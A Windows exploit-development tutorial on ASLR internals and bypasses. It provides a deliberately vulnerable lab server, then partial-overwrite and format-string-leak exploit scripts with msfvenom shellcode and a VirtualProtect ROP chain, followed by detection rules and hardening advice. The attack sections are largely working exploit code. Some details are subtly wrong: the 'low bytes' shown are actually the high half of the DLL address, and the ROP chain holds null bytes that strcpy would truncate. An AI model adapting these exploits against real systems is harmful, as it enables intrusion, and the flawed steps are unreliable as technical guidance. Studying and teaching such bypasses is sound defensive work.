ASLR Internals: Randomization Scope, Entropy, and Weak Implementations
You’ve got a clean stack overflow and full EIP control. On XP that was the end of the story. On a modern Windows box it’s the start of one, because the address you want to jump to moved when the process booted, and you don’t know where it went. ASLR is the reason your hardcoded JMP ESP from 2008 now lands you in unmapped memory and a silent crash. Understanding exactly what moved, how far it can move, and what didn’t move at all is the difference between a working exploit and a WER crash dump.
Objective: Understand how Windows ASLR is seeded and applied (LFG RNG, PE opt-in flags, per-region entropy), identify strong versus weak ASLR in a target binary, and execute a structured bypass (partial overwrite and info-leak plus ROP) against a purpose-built 32-bit lab server.
1. What ASLR Actually Defends Against
Address Space Layout Randomization does not fix memory corruption. A buffer overflow is still an overflow with ASLR on. What ASLR does is break the attacker’s assumption of where things live. It randomly arranges the positions of a process’s virtual memory areas: the executable image, stack, heap, data, and loaded libraries. If you cannot predict the address of your shellcode or of a useful gadget, you cannot reliably redirect control flow to it.
That is the whole game. ASLR raises the cost of turning corruption into execution. Every extra bit of entropy doubles the average number of attempts an attacker needs before a guess lands. It defends nothing on its own: pair it with DEP/NX (so injected data isn’t executable) and CFG (so indirect calls are validated), and the three together make code-reuse expensive. Defeat any one of them cheaply and the wall gets a lot shorter.
The two ways past ASLR that matter in practice: don’t need the random bits at all (partial overwrite), or steal them at runtime (information leak). Everything else is a variant of those.
2. The Windows ASLR RNG Pipeline
The randomness is generated early. During boot, winload.exe seeds a Lagged Fibonacci Generator (LFG) with parameters j = 24 and k = 55. The seed is mixed from several entropy sources so it isn’t predictable across boots:
| Entropy source | Contribution |
|---|---|
RDRAND CPU instruction | Hardware RNG where available |
| TPM | Platform-bound entropy |
| ACPI timing | Timer jitter at boot |
| Registry seed keys | Persisted per-install randomness |
Inside the kernel, ExGenRandom() is the internal RNG interface that produces the values used to rebase images and offset allocations. It’s exposed to user mode through the wrapper RtlRandomEx(), which you can call yourself for pseudo-random numbers.
The critical architectural fact: most of this randomization is decided at boot, not per load. The base chosen for an image the first time it loads is reused for the life of that boot session. Reboot and the LFG reseeds, so bases shift. Stay up, and they’re frozen. Hold onto that, because §5 turns it into a weapon.

3. PE Opt-In Mechanics
An image only gets randomized if it asks to. The request lives in IMAGE_OPTIONAL_HEADER.DllCharacteristics:
| PE Header Flag | Hex Value | Meaning |
|---|---|---|
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE | 0x0040 | Opts the image into ASLR rebasing |
IMAGE_DLL_CHARACTERISTICS_HIGH_ENTROPY_VA | 0x0020 | Enables the full 64-bit VA space for ASLR |
You set these at link time. /DYNAMICBASE has been the MSVC default since Vista and is required for ASLR to apply. /HIGHENTROPYVA widens the randomization to the entire 64-bit address space, but it only does anything alongside /DYNAMICBASE, and the linker ignores it entirely for 32-bit targets. No DYNAMIC_BASE bit, no rebasing: the image loads at its preferred ImageBase every single time.
Check any binary with dumpbin:
> dumpbin /headers aslr_server_strong.exe
OPTIONAL HEADER VALUES
10B magic # (PE32)
00400000 image base
8160 DLL characteristics
High Entropy Virtual Addresses
Dynamic base
NX compatible
The Dynamic base line is what you’re looking for. When it’s absent, that module is a fixed island in an otherwise randomized process, and one fixed island is usually enough (see §9).
4. Randomization Scope and Entropy Per Region
Not every region gets the same number of random bits. On Windows 10, measured entropy looks like this:
| Region | Windows 10 entropy (bits) | Practical meaning |
|---|---|---|
| Stack | 19 | ~524,288 possible base positions |
| Heap | 24 | ~16.7M positions (spray-resistant) |
| Libraries / images | 19 | ~524,288 base positions on 64-bit |
Those numbers are for 64-bit with high-entropy VA. Drop to a 32-bit process and the address space itself constrains you: there simply aren’t enough bits of usable virtual address to spend 19 on image bases. In practice 32-bit Windows randomizes only the upper portion of the image base, leaving roughly 8 bits of image-base entropy, on the order of 256 possible locations. That figure is the widely cited approximation and you should confirm it on your own build in WinDbg rather than trust it blindly, because it drifts across versions. Shacham et al. flagged this insufficient-entropy problem on 32-bit systems years ago, and it is exactly why the modern advice is “build 64-bit.”
The lesson for exploitation: heap entropy (24 bits) makes heap spray hopeless on 64-bit, but the low 32-bit image entropy keeps partial overwrites and brute force alive on legacy targets.
Here is the Windows-specific weakness that surprises people coming from Linux. When the kernel randomizes an image’s base, it does so once per boot, then shares that base with every process that loads the image. ntdll.dll sits at the same address in your process, my process, a service running as SYSTEM, and a process in another user’s session, until the machine reboots.
Prove it in WinDbg. Attach to two unrelated processes and list ntdll:
0:000> lm m ntdll
start end module name
77a10000 77bd8000 ntdll (pdb symbols)
--- second process, same boot ---
0:000> lm m ntdll
start end module name
77a10000 77bd8000 ntdll (pdb symbols)
Identical. This means a leak of any module base from one process (or a hardcoded address gathered during recon on the same boot) is valid across the whole box for that session. Only a reboot guarantees a fresh base for all images. For a networked target that stays up for weeks, “reboot to reseed” is a promise the defender rarely keeps.
6. Building the Lab Target
Everything below runs against aslr_lab_server.c, a minimal 32-bit Windows TCP server with two planted bugs: a strcpy stack overflow and a format-string flaw in its log path.
// aslr_lab_server.c - intentionally vulnerable lab target (Windows, 32-bit)
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
void log_request(const char *msg) {
char line[256];
_snprintf(line, sizeof(line), msg); // format-string sink: %p leaks stack
printf("[log] ");
printf(line); // second attacker-controlled format
printf("\n");
}
void handle(SOCKET c) {
char buf[128];
char recvbuf[512];
int n = recv(c, recvbuf, sizeof(recvbuf) - 1, 0);
if (n <= 0) return;
recvbuf[n] = 0;
if (!strncmp(recvbuf, "LOG", 3))
log_request(recvbuf + 3); // info-leak path
else
strcpy(buf, recvbuf); // classic stack overflow, no bounds
send(c, "OK\n", 3, 0);
}
int main(void) {
WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in a = {0};
a.sin_family = AF_INET;
a.sin_addr.s_addr = INADDR_ANY;
a.sin_port = htons(4444);
bind(s, (struct sockaddr*)&a, sizeof(a));
listen(s, 1);
for (;;) { SOCKET c = accept(s, 0, 0); handle(c); closesocket(c); }
return 0;
}
A legacy DLL provides the non-ASLR island:
// legacy_helper.c - compiled without /DYNAMICBASE on purpose
__declspec(dllexport) int helper_ping(int x) { return x + 1; }
Build three variants from an x86 Native Tools prompt:
:: Weak build (no ASLR, no NX) - for partial-overwrite intro
cl /GS- /DYNAMICBASE:NO /NXCOMPAT:NO aslr_lab_server.c /link /OUT:aslr_server_weak.exe
:: Strong build (ASLR + high entropy + NX) - for the info-leak exercise
cl /GS- /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT aslr_lab_server.c /link /OUT:aslr_server_strong.exe
:: Legacy DLL (no ASLR) - the fixed island
cl /LD /DYNAMICBASE:NO legacy_helper.c /link /OUT:legacy_helper.dll
/GS- disables stack cookies so we can focus on ASLR rather than fighting /GS. In a real assessment you’d keep the cookie and defeat it separately.
7. Exercise A – Partial Overwrite (32-bit)
The idea behind a partial overwrite: the saved return address on the stack already points into a loaded module. Only the upper bytes of that address are randomized; the lower two bytes are a page-aligned, deterministic offset within the module. Overwrite only those two low bytes and you redirect execution to another spot in the same ~64KB region, with zero knowledge of where the module was rebased. No leak required.
Step 1 – Recon. Attach WinDbg to the running legacy_helper.dll-linked server and confirm the region:
0:000> lm
0:000> !address 0x1b7a1000
Step 2 – Find the gadget. Locate a JMP ESP inside the module whose low bytes you want to reuse:
ROPgadget --binary legacy_helper.dll --only "jmp" | grep "jmp esp"
# 0x1b7a (low 16 bits are stable within a boot session)
Step 3 – Crash and find the offset. Send a cyclic pattern and read the value that lands in EIP:
msf-pattern_create -l 500
# send it, note the faulting EIP in WinDbg, then:
msf-pattern_offset -q 41336941
# [*] Exact match at offset 140
Step 4 – Generate shellcode that survives a null-free transport:
msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f py -v sc
Step 5 – Fire the partial overwrite. Only two bytes go over the saved return; the shellcode sits in the recv buffer that ESP points at after the pivot:
import socket
offset = 140
jmp_esp_low = b"\x7a\x1b" # low 2 bytes of JMP ESP in legacy_helper.dll
nop_sled = b"\x90" * 16
shellcode = sc # from msfvenom above
payload = b"A" * offset + jmp_esp_low + nop_sled + shellcode
s = socket.socket()
s.connect(("192.168.56.20", 4444))
s.send(payload)
s.close()
Because you overwrote only the low 16 bits, the module’s random upper bytes stay intact and the jump resolves inside the real, loaded legacy_helper.dll. calc.exe pops. The randomization you never learned did not matter.

8. Exercise B – Info-Leak to Full ASLR Defeat
Partial overwrite is limited by the 64KB window. When your gadgets live in an image with full 64-bit entropy, you need the real base. That is what the format-string bug is for. Leak a pointer, compute the slide, rebuild your ROP chain against the actual load address.
Step 1 – Leak. The LOG path feeds attacker input straight into printf. Ask for stack contents:
import socket, re, struct
s = socket.socket(); s.connect(("192.168.56.20", 4444))
s.send(b"LOG%p.%p.%p.%p.%p.%p")
resp = s.recv(1024).decode(errors="ignore")
print(resp) # e.g. 0x00b2f7c4.0x0.0x40128a.0x...
One of those pointers falls inside the main image (here 0x0040128a, a return address into a known function). The value 0x40128a on a /DYNAMICBASE build is the rebased address of a code location whose static offset you already know.
Step 2 – Compute the slide. Read the preferred base from the PE header and subtract:
import pefile
pe = pefile.PE("aslr_server_strong.exe")
preferred_base = pe.OPTIONAL_HEADER.ImageBase # e.g. 0x00400000
leaked_ret = 0x0040128a
static_offset = 0x0000128a # offset of that ret site, found in the disasm
image_base = leaked_ret - static_offset
slide = image_base - preferred_base
print(hex(image_base), hex(slide))
Now every static address in the image is static + slide.
Step 3 – Harvest gadgets.
ROPgadget --binary aslr_server_strong.exe --rop > gadgets.txt
grep "pop eax" gadgets.txt
Step 4 – Build the chain. NX is on, so you can’t just run shellcode off the stack. Flip permissions with VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, lpflOldProtect), then return into the shellcode. This is the classic stdcall-args-on-stack layout:
from pwn import p32
def r(off): # rebase a static offset to runtime
return image_base + off
VirtualProtect = r(0x00003040) # IAT thunk for VirtualProtect
shellcode_addr = 0x00b2f800 # recv buffer landing zone (also leakable)
writable = r(0x00006000) # any writable page for lpflOldProtect
rop = b""
rop += p32(VirtualProtect) # call VirtualProtect
rop += p32(shellcode_addr) # return-to after VP: jump into shellcode
rop += p32(shellcode_addr) # arg1 lpAddress
rop += p32(0x1000) # arg2 dwSize
rop += p32(0x40) # arg3 PAGE_EXECUTE_READWRITE
rop += p32(writable) # arg4 lpflOldProtect
VirtualAlloc() is the alternative when you’d rather stage into fresh RWX memory, and WriteProcessMemory() is the advanced route for copying shellcode into a known allocation. All three become callable the instant you have the slide.
Step 5 – Deliver.
offset = 140
payload = b"A" * offset + rop + b"\x90" * 16 + sc
s = socket.socket(); s.connect(("192.168.56.20", 4444))
s.send(payload)
The overflow overwrites the saved return with the first gadget. VirtualProtect marks the stack executable, returns into the sled, and the shellcode runs at addresses you computed from a single leaked pointer. Full ASLR, defeated by one memory disclosure. That is why “just one info-leak bug” is treated as a critical finding.

9. Identifying Non-ASLR Modules
Before any of this, you want to know which modules in the target are fixed. Script the PE-header check:
# pe_check.py - flags DYNAMIC_BASE / HIGH_ENTROPY_VA / NX
import pefile, sys
pe = pefile.PE(sys.argv[1])
c = pe.OPTIONAL_HEADER.DllCharacteristics
print(f"DYNAMIC_BASE: {'YES' if c & 0x0040 else 'NO'}")
print(f"HIGH_ENTROPY_VA: {'YES' if c & 0x0020 else 'NO'}")
print(f"NX_COMPAT: {'YES' if c & 0x0100 else 'NO'}")
Inside a live process, the narly WinDbg extension enumerates every non-ASLR, non-SafeSEH module in one shot:
0:000> .load narly
0:000> !nmod
00400000 00412000 aslr_server /DYNAMICBASE /NXCOMPAT
1b7a0000 1b7a8000 legacy_helper *** No ASLR *** *** SEH ***
ASLR is only as strong as its weakest module. aslr_server_strong.exe can be perfectly randomized, but if legacy_helper.dll loads at a fixed address, every gadget in that DLL is at a known location and the whole protection collapses. One legacy DLL breaks ASLR for the entire process.
10. Common Attacker Techniques
| Technique | Description |
|---|---|
| Partial overwrite | Overwrite only the low 2 bytes of a saved return address; upper randomized bytes stay intact, so no ASLR knowledge is needed. |
| Information leak | Use a format-string or out-of-bounds read to disclose a module address, compute the slide, then rebase a ROP chain. |
| Brute force (32-bit) | Low image entropy (~8 bits) plus boot-frozen bases makes guessing a base feasible on a resilient 32-bit service. |
| Heap spray | Flood the heap with payload copies to raise the hit probability; only viable where heap entropy is weak (24 bits kills it on 64-bit). |
| Return-to-libc / return-to-PLT | Invoke a needed function via its import/PLT entry instead of a raw randomized address. |
| Non-ASLR island | Source all gadgets from a module missing /DYNAMICBASE, sidestepping randomization entirely. |
11. Defensive Strategies & Detection
Detection here is indirect. There is no single event that says “ASLR was bypassed.” You correlate the preconditions (a process loading a non-ASLR image) with the aftermath (crashes, injection, mitigation faults).
Sysmon and Event Log
| Event ID | Relevance |
|---|---|
| Sysmon Event 1 (Process Create) | Capture Image; feed the path to pe_check.py to alert on non-ASLR binaries |
| Sysmon Event 8 (CreateRemoteThread) | Post-bypass injection into another process |
| Sysmon Event 10 (ProcessAccess) | Cross-process memory reads used for info-leak primitives |
| Sysmon Event 17/18 (Pipe) | Post-exploitation C2 over named pipes |
Be explicit about the gap: Sysmon does not expose PE DllCharacteristics natively. Event 1 gives you the image path only. To alert on missing /DYNAMICBASE you must enrich Event 1 out of band with a PE-header check, or use an EDR that performs that enrichment. Validate the exact field names against your deployed Sysmon schema.
title: Process Launched Without ASLR (DYNAMIC_BASE Missing)
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
EventID: 1 # Sysmon
condition: selection
# Post-processing: flag Image where pe_check reports DYNAMIC_BASE=NO
fields:
- Image
- CommandLine
- ParentImage
falsepositives:
- Legacy in-house applications not yet recompiled
level: medium
tags:
- attack.defense_evasion
- attack.t1211
ETW Providers
| Provider | Use |
|---|---|
Microsoft-Windows-Security-Mitigations | Mitigation events (channel .../KernelMode), including ASLR-related violations |
Microsoft-Windows-Kernel-Process | Process creation with module-load context |
Microsoft-Windows-WER-Diagnostics | Crash telemetry: repeated access violations at unmapped addresses signal failed bypass attempts |
Exploit Protection (enforce ASLR the target didn’t ask for)
| Setting | PowerShell |
|---|---|
| Mandatory ASLR (force relocate) | Set-ProcessMitigation -System -Enable ForceRelocateImages |
| Bottom-up ASLR | Set-ProcessMitigation -System -Enable BottomUp |
| High-entropy ASLR | Set-ProcessMitigation -System -Enable HighEntropy |
| Per-process | Set-ProcessMitigation -Name target.exe -Enable ForceRelocateImages,BottomUp,HighEntropy |
Mandatory ASLR (Windows 8+) forces even non-opted-in images to be rebased, which shuts down the non-ASLR island attack from §9. Bottom-up ASLR adds entropy to allocation placement and requires Mandatory ASLR to take effect. System-wide config lives at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\ under MitigationOptions.
Hardening checklist
- Recompile in-house binaries with
/DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT. - Enable Mandatory ASLR and Bottom-up ASLR system-wide via Exploit Protection.
- Audit third-party DLLs with
dumpbin /headersorpe_check.py; apply Force Relocate Images to cover legacy modules. - Build 64-bit wherever possible: 32-bit entropy is structurally too low.
- Kill format-string and OOB-read bugs. One leak defeats ASLR completely.
- Deploy Control Flow Guard (
/guard:cf) so a leaked base doesn’t hand over free ROP. - Sandbox high-risk processes (browser, document readers).

12. Tools for ASLR Analysis
| Tool | Description | Link |
|---|---|---|
| WinDbg | Inspect module bases (lm), regions (!address), verify shared bases across processes | learn.microsoft.com |
narly (!nmod) | WinDbg extension listing non-ASLR / non-SafeSEH modules | github.com |
| dumpbin | Read DllCharacteristics and ImageBase from PE headers | learn.microsoft.com |
| pefile | Scriptable PE-header parsing for pe_check.py enrichment | github.com |
| PE-bear / CFF Explorer | GUI inspection of DLL characteristics flags | github.com |
| Process Hacker | Live module map and per-module ASLR status | processhacker.sourceforge.io |
| ROPgadget | Gadget discovery for partial-overwrite and ROP chains | github.com |
| Metasploit pattern tools | msf-pattern_create / msf-pattern_offset for offsets | metasploit.com |
| msfvenom | Null-free shellcode generation | metasploit.com |
| pwntools | Exploit automation and ROP scripting | pwntools.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | WER crash telemetry, Sysmon Event 1 anomalies |
| Exploit Public-Facing Application | T1190 | Network IDS on the vulnerable service, crash logs |
| Exploitation for Defense Evasion | T1211 | Security-Mitigations ETW, repeated access violations |
| Process Injection | T1055 | Sysmon Event 8 / Event 10 |
| System Information Discovery | T1082 | Recon queries identifying 32-bit vs 64-bit, module flags |
| Exploit Protection (mitigation) | M1050 | Enforce ASLR + DEP + Mandatory ASLR system-wide |
ATT&CK has no dedicated sub-technique for “ASLR bypass.” Treat the bypass as a precondition enabling T1203/T1190, with T1211 covering the defense-evasion framing. Confirm against the current ATT&CK Navigator before you cite a sub-technique.
Summary
- ASLR breaks address prediction, not memory corruption: it is one leg of a three-legged stool with DEP and CFG, and cheaply defeating any leg shortens the whole wall.
- Randomization is seeded once at boot by an LFG in
winload.exe, and Windows shares each image’s base across all processes until reboot, so a single leak can be valid machine-wide. - Entropy is uneven: 24 bits on the heap kills spray, but ~8 bits of 32-bit image entropy keeps partial overwrites and brute force alive.
- Partial overwrite needs no ASLR knowledge; an info-leak plus slide computation defeats it entirely, which is why one format-string bug is a critical finding.
- A single non-ASLR module (missing
/DYNAMICBASE) breaks ASLR for the whole process; enforce Mandatory ASLR and enrich Sysmon Event 1 with PE-header checks to catch it.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- cloud.google.com
- medium.com
- learn.microsoft.com
- learn.microsoft.com
- learn.microsoft.com
- attack.mitre.org
- attack.mitre.org
- arxiv.org
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.